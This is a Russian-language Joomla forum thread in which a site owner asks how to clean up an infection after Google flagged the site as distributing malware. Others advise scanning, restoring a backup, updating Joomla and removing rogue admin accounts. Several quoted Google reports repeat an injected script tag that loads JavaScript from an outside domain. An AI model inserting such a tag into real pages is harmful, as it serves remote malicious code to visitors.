Вредоносный объект - Joomla 3.x: Общие вопросы

Добрый день! Подскажите пожалуйста, где искать код для удаления в isp менеджере, в файле index.php нет этого кода. Сайт перестал работать, нужно почистить данный код. Надеюсь на понимание.
Внедрение вредоносного кода,http://goproject.pro/index.php,05.07.16,"""<script language=""""JavaScript"""" type=""""text/JavaScript"""" src=""""http://realstatistics.pro/js/analytics.php?id=123"""">"""

index.php не обязательно. МОжет быть и в системных файлах. Если переключить на стандартный шаблон?

Подскажите пожалуйста пошагово, если возможно, как искать. Таких файлов у меня с десяток Google обнаружил.

Внедрение вредоносного кода,http://goproject.pro/index.php/proekty,05.07.16,"""<script language=""""JavaScript"""" type=""""text/JavaScript"""" src=""""http://realstatistics.pro/js/analytics.php?id=123"""">"""

Внедрение вредоносного кода,https://goproject.pro/index.php/proekty.html,05.07.16,"""<script language=""""JavaScript"""" type=""""text/JavaScript"""" src=""""http://realstatistics.pro/js/analytics.php?id=123"""">"""

Внедрение вредоносного кода,http://www.goproject.pro/index.php/,05.07.16,"""<script language=""""JavaScript"""" type=""""text/JavaScript"""" src=""""http://realstatistics.pro/js/analytics.php?id=123"""">"""

В который раз не может форум помочь! Простые люди пишут, не все профессионалы! Кто вообще главный здесь! Зачем форум создаётся? Для игнора?

Прежде чем истерить -- 1.

Ну искать можно очень долго и упорно! Особенно если не знаешь, что искать и где.
Данный код может быть зашифрован, разорван на переменные, и раскидан абсолютно в любые файлы, причем даже php код можно разобрать по буквачкам и привет.
Так, что быстро сами не найдете (тут уж извините), причем с таким подходом!



Дайте хоть пациента то!
Пройдитесь айболитом, посмотрите что пишет.

Кто вообще главный здесь!

Главный - Я!  Все остальные мои помощники! 

Подход нормальный, несколько раз вручную вычищал файлы, но с такой ситуацией еще не сталкивался. Google блокирует сайт, указывая вот такие пути:
распространяющий вредоносное ПО.
Подробности
URL страниц с проблемами Время последнего обнаружения
http://goproject.pro/ 06.07.16
http://goproject.pro/index.php 05.07.16
https://goproject.pro/ 05.07.16
https://goproject.pro/index.php 05.07.16
http://goproject.pro/index.php/ 05.07.16
http://goproject.pro/index.php/18-slider.html 05.07.16
http://goproject.pro/index.php/32-icons.html 05.07.16
http://goproject.pro/index.php/proekty 05.07.16
http://goproject.pro/index.php/proekty.html 05.07.16
https://goproject.pro/index.php/proekty.html 05.07.16

Joomla то-какая?

Поднять из backup можете?

Joomla! 3.3.3 Stablе, сейчас пытаюсь поднять бэкап за более раннюю дату. После этого в Google нужно отправлять запрос на разблокировку ресурса, они пишут что это может занимать до нескольких часов

Google будет показывают много страниц, а код генерируется в одном файле.
Нужно обновляться до Joomla 3.5.1. Но если нет опыта чистки, то после обновления Joomla и всех используемых расширений, установить чистую Joomla и расширения и подключить старую базу данных. И проверить сколько супер-админов в админке сайта- "левых"- удалить

Спасибо, так скорее всего и сделаем чтобы не ковыряться. На данный момент сайт заработал, помогло восстановление бэкапа за более раннюю дату а так же письмо в Google для ускорения процесса проверки. Будем снова принимать меры, менять пароли пока, искать уязвимость. еще раз всем спасибо! Все на футбол, тему можно закрыть. 

Joomla обновить обзательно

Хорошо!

Вот что мне пишет Joomla, кстати. У вас уже установлена последняя версия Joomla!, 3.3.3.

Так извините, кэш оказывается надо обновить.

Так извините, кэш оказывается надо обновить.

 

Может потереть?

http://joomlaportal.ru/news/general/2591-reliz-bezopasnosti-dlya-joomla-1-5-x-2-5-x-3-4-x

3.3 Дырявая

В который раз не может форум помочь! Простые люди пишут, не все профессионалы! Кто вообще главный здесь!

Какого черта, куда вы пришли с хозяйскими замашками? Хоть в сотый раз. Кто сказал, что здесь все профессионалы и все обязаны бросаться вам помогать при первом чихе?

Зачем форум создаётся? Для игнора?

Да, вас - точно.

Не хотел никого обидеть, непрофессионал - имел в виду себя, а так же парочку людей в подобных темах. Никак ни уважаемых профи.  Проблема решена, я предлагаю не дискутировать более на тему того сообщения, если это возможно.

3.3 Дырявая

Искренне хочется верить, что новая версия лучше!